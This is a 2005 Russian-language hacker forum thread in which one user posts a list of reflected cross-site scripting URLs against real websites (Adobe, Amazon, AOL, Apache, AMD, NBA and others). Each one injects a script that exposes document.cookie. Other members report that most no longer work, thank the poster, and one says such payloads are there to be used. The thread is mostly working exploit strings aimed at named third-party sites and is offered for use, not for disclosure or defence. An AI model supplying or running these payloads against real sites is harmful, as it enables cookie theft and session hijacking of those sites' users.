Ловите Xss (помоему чемто смахивает на раздел "Халява":)

Discussion in 'Уязвимости' started by TANZWUT, 23 Sep 2005.

  1. TANZWUT

    TANZWUT Крёстный отец :)

    Joined:
    22 Jun 2005
    Messages:
    1,474
    Likes Received:
    716
    Reputations:
    744
    Code:
    about.com
    <A href="http://search.about.com/fullsearch.htm?terms="><script>alert(document.cookie)</script><x%20y">http://search.about.com/fullsearch.htm?terms="><script>alert(document.cookie)</script><x%20y="
     
    activestate.com
    [url="http://www.activestate.com/Products/Download/Register.plex?id=TclDevKit&required=1&FirstName=&LastName=&EmailAddress="]http://www.activestate.com/Products/Download/Register.plex?id=TclDevKit&required=1&FirstName=&LastName=&EmailAddress="><script>alert(document.cookie)</script><x%20y="&Company=&submit.x=50&submit.y=17[/url]
     
    adobe.com
    [url="http://busca.adobe.com/search?site=AdobeCom&client=AdobeCom&filter=0&output=xml_no_dtd&requiredfields=&getfields=&proxystylesheet=http%3A%2F%2Fwww.adobe.com%2Fspecial%2Fsearch%2Fadobecom.xsl&restrict=Adobe_com&q=</title><script>alert(document.cookie)</script><!--&x=30&y=8"]http://busca.adobe.com/search?site=AdobeCom&client=AdobeCom&filter=0&output=xml_no_dtd&requiredfields=&getfields=&proxystylesheet=http%3A%2F%2Fwww.adobe.com%2Fspecial%2Fsearch%2Fadobecom.xsl&restrict=Adobe_com&q=</title><script>alert(document.cookie)</script><!--&x=30&y=8[/url]
     
    altavista.com
    [url="http://www.altavista.com/image/detail?oid=0&backurl="]http://www.altavista.com/image/detail?oid=0&backurl=""><script>alert(document.cookie)</script[/url]>
     
    amazon.com
    [url="http://www.amazon.com/exec/obidos/handle-generic-form/002-1202097-0513651?action=next-page&target=stores/help/self-service-email-form.html&cgi-post-result=1&dispatch=confirm&validation-form-field.contact-email=&quot;%20%20style=background-image:url(javascript<b></b>:alert(document.cookie))"]http://www.amazon.com/exec/obidos/handle-generic-form/002-1202097-0513651?action=next-page&target=stores/help/self-service-email-form.html&cgi-post-result=1&dispatch=confirm&validation-form-field.contact-email="%20%20style='background-image:url(javascript:alert(document.cookie))'[/url]
     
    amd.com
    [url="http://www.amd.com/force_404_<script>alert(document.cookie)</script"]http://www.amd.com/force_404_<script>alert(document.cookie)</script[/url]>
     
    annoyances.org
    [url="http://www.annoyances.org/exec/htsearch?config=annoyances&restrict=&exclude=&words="]http://www.annoyances.org/exec/htsearch?config=annoyances&restrict=&exclude=&words="><script>alert(document.cookie)</script><x%20y="&method=and&format=builtin-long&matchesperpage=10[/url]
     
    aol.com
    [url="https://my.screenname.aol.com/_cqr/login/login.psp?mcState=initialized&siteState=yyyy"]https://my.screenname.aol.com/_cqr/login/login.psp?mcState=initialized&siteState=yyyy";}%20alert(document.cookie);%20if(1){%20a="%20}%20[/url]
     
    apache.org
    [url="http://cvs.apache.org/viewcvs.cgi/<script>alert(document.cookie)</script"]http://cvs.apache.org/viewcvs.cgi/<script>alert(document.cookie)</script[/url]>
    <A href="http://mail-archives.apache.org/eyebrowse/SearchList?listName=user@"><script>alert(document.cookie)</script><x%20y">http://mail-archives.apache.org/eyebrowse/SearchList?listName=user@"><script>alert(document.cookie)</script><x%20y="
    <A href="http://nagoya.apache.org/jira/secure/BrowseProject.jspa?id="><script>alert(document.cookie)</script><x%20y">http://nagoya.apache.org/jira/secure/BrowseProject.jspa?id="><script>alert(document.cookie)</script><x%20y="
    [url="http://wiki.apache.org/james/FrontPage?action=show&redirect=StartSeite?<script>alert(document.cookie)</script"]http://wiki.apache.org/james/FrontPage?action=show&redirect=StartSeite?<script>alert(document.cookie)</script[/url]>
    [url="http://wiki.apache.org/cocoon/UserPreferences?action=userform&login_email=<script>alert(document.cookie)</script>&login_sendmail=+Email+mit+den+Zugangsdaten+senden+&username=&password=&password2=&email=&css_url=%2Fcocoon-data%2Fstyle%2Fmoinmoin.css&edit_cols=80&edit_rows=20&tz_offset=0&datetime_fmt=&language=&show_emoticons=1&show_page_trail=1&remember_me=1&show_fancy_diff=1&show_fancy_links=1&show_toolbar=1&quicklinks=&subscribed_pages"]http://wiki.apache.org/cocoon/UserPreferences?action=userform&login_email=<script>alert(document.cookie)</script>&login_sendmail=+Email+mit+den+Zugangsdaten+senden+&username=&password=&password2=&email=&css_url=%2Fcocoon-data%2Fstyle%2Fmoinmoin.css&edit_cols=80&edit_rows=20&tz_offset=0&datetime_fmt=&language=&show_emoticons=1&show_page_trail=1&remember_me=1&show_fancy_diff=1&show_fancy_links=1&show_toolbar=1&quicklinks=&subscribed_pages[/url]=
     
    _________________________
    #1 TANZWUT, 23 Sep 2005
    Last edited by a moderator: 23 Sep 2005
  2. SanyaX

    SanyaX .::Club Life::.

    Joined:
    28 Jan 2005
    Messages:
    934
    Likes Received:
    394
    Reputations:
    261
    Охо ты на всё компании Xss нашёл =))
     
  3. TANZWUT

    TANZWUT Крёстный отец :)

    Joined:
    22 Jun 2005
    Messages:
    1,474
    Likes Received:
    716
    Reputations:
    744
    _________________________
  4. vectorg

    vectorg Противоядие

    Joined:
    7 Aug 2005
    Messages:
    335
    Likes Received:
    140
    Reputations:
    236
    чё за х....
    ничё ни хрена не работает...
     
  5. TANZWUT

    TANZWUT Крёстный отец :)

    Joined:
    22 Jun 2005
    Messages:
    1,474
    Likes Received:
    716
    Reputations:
    744
    SanyaX, да вот вроде выложыл всё что пылилось в папке "Мои документы"...
    З.Ы. порядок навожу)))
     
    _________________________
  6. TANZWUT

    TANZWUT Крёстный отец :)

    Joined:
    22 Jun 2005
    Messages:
    1,474
    Likes Received:
    716
    Reputations:
    744
    VectorG, вот те на NBA :)
    Code:
    <A href="http://www.nba.com/rm/login.jsp?dest="><script>alert(document.cookie)</script><x%20y">http://www.nba.com/rm/login.jsp?dest="><script>alert(document.cookie)</script><x%20y="
    просто у меня пылилось это около полугода.
     
    _________________________
    #6 TANZWUT, 23 Sep 2005
    Last edited by a moderator: 23 Sep 2005
  7. vectorg

    vectorg Противоядие

    Joined:
    7 Aug 2005
    Messages:
    335
    Likes Received:
    140
    Reputations:
    236
    80% не рабочих... (((((
    а с нба вроде есть чёто...

    ну всё равно спасиба!
     
  8. Антошка2003

    Антошка2003 Elder - Старейшина

    Joined:
    3 Apr 2005
    Messages:
    534
    Likes Received:
    66
    Reputations:
    49
    Во, спасибо, 5 баллов)))
     
  9. Morph

    Morph Пирожок с Маком

    Joined:
    13 Aug 2004
    Messages:
    790
    Likes Received:
    113
    Reputations:
    169
    Хех такую же кучу могу выложить тока работающих тока нах это?)
     
  10. Антошка2003

    Антошка2003 Elder - Старейшина

    Joined:
    3 Apr 2005
    Messages:
    534
    Likes Received:
    66
    Reputations:
    49
    а чтоб было, ё им пылиться то? Если есть, то надо юзать.
     
  11. k00p3r

    k00p3r Banned

    Joined:
    31 May 2005
    Messages:
    430
    Likes Received:
    8
    Reputations:
    2
    НАДО!